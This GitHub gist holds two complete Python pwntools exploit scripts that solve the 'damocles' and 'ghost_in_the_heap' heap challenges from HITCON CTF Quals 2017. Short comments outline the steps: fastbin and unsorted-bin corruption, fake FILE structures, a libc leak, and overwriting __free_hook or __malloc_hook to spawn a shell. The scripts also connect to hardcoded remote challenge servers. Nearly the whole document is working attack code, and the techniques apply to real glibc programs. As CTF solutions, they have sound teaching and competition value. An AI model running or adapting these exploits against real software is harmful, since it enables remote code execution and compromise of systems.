Skip to content

Instantly share code, notes, and snippets.

@m1ghtym0
Last active January 4, 2018 04:23
Show Gist options
  • Save m1ghtym0/6f14b164c6f0c9fb6a5f2acf1149b33f to your computer and use it in GitHub Desktop.
Save m1ghtym0/6f14b164c6f0c9fb6a5f2acf1149b33f to your computer and use it in GitHub Desktop.
HITCON CTF QUALS 2017
from pwn import *
import sys
from time import time, sleep
import ctypes
import threading
BINARY = './damocles.patched'
LIBC = './libc.so.6'
LOCAL_LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
'''
This is my solution for the damocles challenge, it's maybe not the prettiest solution, as you loose stdout (printf) on the way
But first-blood though... soo BUUMO I guess
See https://github.com/scwuaptx/CTF/tree/master/2017-writeup/hitcon for background
- We can allocate abitrary sizes
- Have an overflow with controlled size
1. Create Fastbins and overflow fd-ptr to get an allocation in bss
2. Create a fake fp and a fake fastbinlist in bss
3. Get allocation after .got to overflow stdout and and stdin in bss and set the correct fastbin size in front of stdin
4. Modify stdin's least-significant-byte so it's pointing to a valid fastbin above stdin in libc
5. Overflow another fastbin to make it point to the bss.
- Set it up so that stdin in bss is the fastbin's fd-ptr
6. Get two allocations so the last one goes into libc
7. Overflow from stdin in libc into stdout in libc
- Overwrite main_arena to point to the fake fastbinlist in bss
- Set some pointers to readable memory
- Modify stdout's write-ptr so that next time puts is called it will flush the content and point it to a libc address in bss
8. Use the leak to get libc's address
9. Use the fake fastbinlist to fastbin-dup into libc again, this time in front of free_hook
10. Overwrite free_hook and profit
'''
# Set context for asm
context.clear()
context(os='linux', arch='amd64', bits=64)
#context.timeout = 5
#context.log_level = 'debug'
GLOBAL_SLEEP = 1
def step(msg):
print msg
pause()
def read_menu(r):
r.recvuntil('Your choice: ')
def deaf_read_menu(r):
r.recvuntil(' 3. Exit')
r.recvlines(2)
def alloc(r, content, size):
read_menu(r)
r.sendline(str(1))
r.recvuntil('Size : ')
r.sendline(str(size))
r.recvuntil('Content :')
r.send(content)
sleep(GLOBAL_SLEEP)
r.sendline('y')
def deaf_alloc(r, content, size):
deaf_read_menu(r)
r.sendline(str(1))
sleep(GLOBAL_SLEEP)
r.sendline(str(size))
sleep(GLOBAL_SLEEP)
r.send(content)
sleep(GLOBAL_SLEEP)
r.sendline('y')
sleep(GLOBAL_SLEEP)
def free(r):
read_menu(r)
r.sendline(str(2))
def deaf_free(r):
deaf_read_menu(r)
r.sendline(str(2))
sleep(GLOBAL_SLEEP)
def overflow(r, size, size2, content, content_dummy='A\n'):
read_menu(r)
r.sendline(str(1))
r.recvuntil('Size : ')
r.sendline(str(size))
r.recvuntil('Content :')
r.send(content_dummy)
r.recvuntil('Finish ? (Y/n)')
r.sendline('n')
r.recvuntil('Size :')
r.sendline(str(size2))
r.recvuntil('Content :')
r.send(content)
sleep(GLOBAL_SLEEP)
r.sendline('y')
def deaf_overflow(r, size, size2, content, content_dummy='A\n'):
deaf_read_menu(r)
r.sendline(str(1))
sleep(GLOBAL_SLEEP)
r.sendline(str(size))
sleep(GLOBAL_SLEEP)
r.send(content_dummy)
sleep(GLOBAL_SLEEP)
r.sendline('n')
sleep(GLOBAL_SLEEP)
r.sendline(str(size2))
sleep(GLOBAL_SLEEP)
r.send(content)
sleep(GLOBAL_SLEEP)
r.sendline('y')
sleep(GLOBAL_SLEEP)
def exploit(r, elf, libc, local):
fake_file_ptr = 0x602030+8
new_fastbins = fake_file_ptr+0xc0+8
bss_start = 0x602000
stdout = 0x602010
stdin = 0x602020
'''
- create fake file_ptr in bss
- Create a fake fastbin list in bss
'''
alloc(r, 'A\n', 0x20)
free(r)
alloc(r, 'A\n', 0x68)
free(r)
# Overflow into fastbin and modify fd-ptr
payload = ''
payload += 'A'*0x28
payload += p64(0x71)
payload += p64(stdin+5-8) # stdin-8
payload += '\n'
overflow(r, 0x20, 0x60, payload)
alloc(r, 'A\n', 0x68)
# clear ptr, so fake-fastbin->fd is 0
alloc(r, 'A\n', 0x38)
free(r)
# get allocation in bss and create fakes
payload = ''
payload += '\0'*3
payload += '\0'*8
payload += '\0' * (0xc0) # Fake file_ptr
payload += p64(0x42)
payload += p64(0x0)
payload += p64(0x71)
payload += p64(new_fastbins+0x70)
payload += '\0'*(0x70-0x10)
payload += p64(0x71)
overflow(r, 0x68, len(payload), payload) # -> allocate over data segment
'''
- Get allocation in bss again to manipulate stdin's least-significant-byte and set a correct fastbin size in front
- Than we get a ptr in the fastbin list so that stdin in bss is used as it's fd-ptr
- Use this to get an allocation over libc's stdin
- We have to overflow stdout in bss, so we loose output after this step
- We overflow stdout with a ptr to our fake fp, so that printf will just return and not crash
'''
# overwrite stdout+stdin in bss
alloc(r, 'A\n', 0x20)
free(r)
alloc(r, 'A\n', 0x68)
free(r)
payload = ''
payload += 'A'*0x28
payload += p64(0x71)
payload += p64(bss_start-3-8) # bss-3-8
payload += '\n'
overflow(r, 0x20, 0x60, payload)
alloc(r, 'A\n', 0x68)
payload = ''
payload += '\0'*3
payload += '\0'*8
payload += p64(fake_file_ptr) # Fake file_ptr so that printf doesn't crash
payload += p64(0x71)
if local:
payload += p8(0xd5-8)
else:
payload += p8(0xb5-8)
overflow(r, 0x68, len(payload), payload) # -> allocate over bss segment and overflow
'''
- When we get the allocation over libc's stdin we overflow into libc's stdout to manipulate the write-buffer-ptrs
- We overflow main_arena and place our fake fastbin-list there
- We also have to set some correct ptrs
- We manipulate stdout's write-buffer-pointers, so that puts will leak a libc pointer from our bss segment
'''
# get allocation over libc
deaf_alloc(r, 'A\n', 0x20)
deaf_free(r)
deaf_alloc(r, 'A\n', 0x68)
deaf_free(r)
payload = ''
payload += 'A'*0x28
payload += p64(0x71)
payload += p64(0x602010) # stdin-0x10
payload += '\n'
deaf_overflow(r, 0x20, 0x60, payload)
deaf_alloc(r, '\n', 0x68)
deaf_alloc(r, '\n', 0x68)
payload = ''
payload += '\0'*(0x253+8) # offset to first main_arena constant
payload += p64(0x0) # constant
payload += p64(0x0) * 2
payload += p64(new_fastbins) # fastbin[5]
payload += p64(0x0) * 4
payload += p64(0x0)
payload += '\0'*(0x8b0-24)
payload += p64(bss_start)*0x1e # there need to be some correct pointers for strtol
payload += '\0'*0x18 # offset to _IO_list_all
payload += 'A'*8 # _IO_list_all
payload += '\0'*0xf8 # offset to stdout
payload += p64(0x00000000fbad2887) # flags
payload += p64(stdin) # read_ptr
payload += p64(stdin) # read_end
payload += p64(stdin) # read_base
payload += p64(stdin) # write_base
payload += p64(stdin+0x80) # write_ptr
payload += p64(stdin+0x80) # write_end
deaf_overflow(r, 0x68, len(payload), payload)
content = r.recvuntil('2. Free ')
libc_addr = u64(content[:8])
if local:
libc.address = libc_addr - 0x3c4800
else:
libc.address = libc_addr - 0x3c1800
log.info('libc-base: {}'.format(hex(libc.address)))
if local:
before_free_hook = libc.address+0x3c571d-8
offset_to_hook = 0x1083
else:
before_free_hook = libc.address+0x3c26fd-8
offset_to_hook = 0x1083
'''
- Now we use the fakt that we installed our fake fastbin-list in main_arena to get an allocation in front of free_hook
- We than just need to call free with a chunk starting with '/bin/sh' and we're done
'''
# overwrite fastbin fd
payload2 = ''
payload2 += '\0'*(0x70-8)
payload2 += p64(0x71)
payload2 += p64(before_free_hook)
deaf_overflow(r, 0x68, len(payload2), payload2)
# get head of fastbin
deaf_alloc(r, '\n', 0x68)
# alloc over libc
payload2 = ''
payload2 += '/bin/sh\0'
payload2 = payload2.ljust(offset_to_hook, '\0')
payload2 += p64(libc.symbols['system'])
deaf_overflow(r, 0x68, len(payload2), payload2)
# trigger free_hook
deaf_free(r)
r.interactive()
if __name__ == '__main__':
global GLOBAL_SLEEP
elf = ELF(BINARY)
if len(sys.argv) < 2:
print 'Usage: {} local|docker|remote'.format(sys.argv[0])
sys.exit(1)
elif sys.argv[1] == 'remote':
GLOBAL_SLEEP=1
H,P = ('54.65.133.128', 1412)
libc = ELF(LIBC)
r = remote(H,P)
r.recvuntil('+++++++++++++++++++++++++')
exploit(r, elf, libc, local=False)
else:
GLOBAL_SLEEP=0.2
if sys.argv[1] == 'local':
libc = ELF(LOCAL_LIBC)
r = process(BINARY)
local = True
else:
libc = ELF(LIBC)
r = process(BINARY, env = {'LD_PRELOAD' : '{}'.format(LIBC)})
local = False
r.recvuntil('+++++++++++++++++++++++++')
print 'PID: {}'.format(util.proc.pidof(r))
pause()
exploit(r, elf, libc, local)
from pwn import *
import sys
from time import time, sleep
import ctypes
import threading
BINARY = './ghost_in_the_heap.bin.patched'
LIBC = './libc.so.6'
LOCAL_LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
'''
unsorted_bin attack, needs libc leak but no heap-leak!!11!!
1. Leak libc by allocating ghost over former chunk in unsorted_bin list
2. Use ghost to ghost to sperate top-chunk and three-consolidated heaps in unsorted_bin
3. Use One-Nullbyte overflow to shrink the big free chunk
4. Fake a free-chunk in unsorted bin inside when allocating in the shrinked chunk
5. Free ghost and another smallbin afterwards to trigger a malloc-consolidate
- Because of the forgotten update the allocated chunk in the shrinked chunk will be unlinked
- We survive this by pointing to last_remainder in libc, which points back to us, if we setup this correctly
6. Now we get an overlapping chunk which let's us do an unsorted attack
7. We set the bk of an unsorted_bin chunk to point to stdin's read_end, which will be overwritten with unsorted_bin's address
8. When scanf is called we overflow from there to the malloc_hook and set it to magic
9. Triggering the malloc_hook and we're done
'''
# Set context for asm
context.clear()
context(os='linux', arch='amd64', bits=64)
#context.timeout = 5
#context.log_level = 'debug'
def read_menu(r):
r.readline('Your choice: ')
def add_heap(r, data):
read_menu(r)
r.sendline('1')
r.recvuntil('Data :')
r.send(data)
def delete_heap(r, idx):
read_menu(r)
r.sendline('2')
r.recvuntil('Index :')
r.sendline(str(idx))
def add_ghost(r, magic, desc):
read_menu(r)
r.sendline('3')
r.recvuntil('Magic :')
r.send(magic)
r.recvuntil('Description :')
r.send(desc)
def display_ghost(r, magic):
read_menu(r)
r.sendline('4')
r.recvuntil('Magic :')
r.send(magic)
r.recvuntil('Description: ')
return r.recvuntil('$$$$')[:-4]
def delete_ghost(r):
read_menu(r)
r.sendline('5')
def exploit(r, elf, libc, local):
# Leak libc
add_heap(r, 'A'*8+'\n')
add_heap(r, 'B'*8+'\n')
add_heap(r, 'C'*8+'\n')
delete_heap(r, 1)
magic = '1337\n'
add_ghost(r, magic, 'G'*8)
content = display_ghost(r, magic)
libc_addr = u64(content[8:].ljust(8, '\0'))
if local:
libc.address = libc_addr - 0x3c1bf8 - 0x3020
else:
libc.address = libc_addr - 0x3c1bf8
log.info('libc-base: {}'.format(hex(libc.address)))
#Cleanup
delete_ghost(r)
delete_heap(r, 0)
delete_heap(r, 2)
# get pointer to freed chunk
add_heap(r, 'A'+'\n')
add_heap(r, 'A'+'\n')
# setup fake prev_size and PREV_INUSE bit so the chunk is not consolidate later
payload = ''
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload = payload.ljust(64, '\0')
payload += p64(0x100)
payload += p64(0x201)
add_heap(r, payload+'\n')
add_ghost(r, magic, 'A')
# Cleanup -> Gives huge free chunk at heap beginning
delete_heap(r, 0)
delete_heap(r, 1)
delete_heap(r, 2)
# Overflow and allocation in shrinked chunk
add_heap(r, 'A'*168)
add_heap(r, 'A'*16 + '\n')
# Free again -> will not be consolidated with the last_remainder because of the fake PREV_INUSE bit
# Will only consolidate those two
delete_heap(r, 0)
delete_heap(r, 1)
# Setup Fake free chunk to point to last_remainder in libc
if local:
last_remainder = libc.address + 0x3c4b80
else:
last_remainder = libc.address + 0x3c1b60
# This allocation will split the chunk unsorted_bin and point last_remainder to the next chunk
add_heap(r, 'A'*160 + '\n')
payload = ""
payload += p64(last_remainder - 3*8)
payload += p64(last_remainder - 2*8)
# last remainder will point to us
add_heap(r, payload + '\n')
# allocate smth after ghost cause malloc consolidation later
add_heap(r, 'A'+'\n')
# trigger malloc-consolidate and unlink
delete_ghost(r)
delete_heap(r, 2)
# Get overlapping chunks
overflower = 0
target = 1
barrier = 2
delete_heap(r, overflower)
add_ghost(r, magic, 'A') # add ghost to get offset
# Overflow size
payload = ''
payload += '\0'*0x40
payload += p64(0x0)
payload += p64(0xa1)
add_heap(r, payload + '\n') # overflow happening
# Create fake chunks after target
payload = ''
payload += '\0'*(0x150-0x120) # at offset 0x120
payload += p64(0xa0) # at offset 0x150 -> prev_size
payload += p64(0x41) # at offset 0x158 -> next_size
payload += '\0' * 0x20
payload += 'A'*8
payload += 'B'*8
payload += p64(0x40) # at offset 0x170 -> prev_size
payload += p64(0x41) # at offset 0x178 -> prev_size
add_heap(r, payload + '\n') # overflow happening
# get overflower into unsorted
delete_heap(r, overflower)
# get target into unsorted
delete_heap(r, target)
# overflow of target in unsorted
if local:
io_list = libc.address + 0x3c5520
unsorted_bin = libc.address + 0x3c4b78
else:
io_list = libc.address + 0x3c2500
unsorted_bin = libc.address + 0x3c1b58
# reallocate overflower and point bk of target to read_end in libc's stdin
# the unlink in the unsorted will overwrite this with the address of libc's unsorted_bin
payload = ""
payload += '\0'* 0x40
payload += p64(0x0)
payload += p64(0xb1)
payload += p64(unsorted_bin)
payload += p64(libc.address+0x3c1900-0x10) # 0x18
add_heap(r, payload + '\n') # write from 0x70
# some address we better set correctly when overflowing in the libc
vtable = libc.address + 0x3be400
guy_1 = libc.address + 0x3c3770
guy_2 = libc.address + 0x3c19a0
magic_gadget = libc.address + 0xf24cb
# overflow from stdin's read_buf into malloc_hook and set it to magic-gadget
payload = ''
payload += '\0'*5
payload += p64(guy_1)
payload += '\xff'*8
payload += p64(0)
payload += p64(guy_2)
payload += p64(0) * 3
payload += '\xff'*4 + '\0'*4
payload += p64(0) * 2
payload += p64(vtable)
payload += '\0'*0x150
payload += p64(magic_gadget)
add_heap(r, payload + '\n') # write from 0x60
# trigger malloc_hook
delete_ghost(r)
delete_heap(r, 1)
r.interactive()
if __name__ == '__main__':
elf = ELF(BINARY)
if len(sys.argv) < 2:
print 'Usage: {} local|docker|remote'.format(sys.argv[0])
sys.exit(1)
elif sys.argv[1] == 'remote':
H,P = ('52.193.196.17', 56746)
libc = ELF(LIBC)
r = remote(H,P)
exploit(r, elf, libc, local=False)
else:
if sys.argv[1] == 'local':
libc = ELF(LOCAL_LIBC)
r = process(BINARY)
local = True
else:
libc = ELF(LIBC)
r = process(BINARY, env = {'LD_PRELOAD' : '{}'.format(LIBC)})
local = False
print 'PID: {}'.format(util.proc.pidof(r))
pause()
exploit(r, elf, libc, local)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment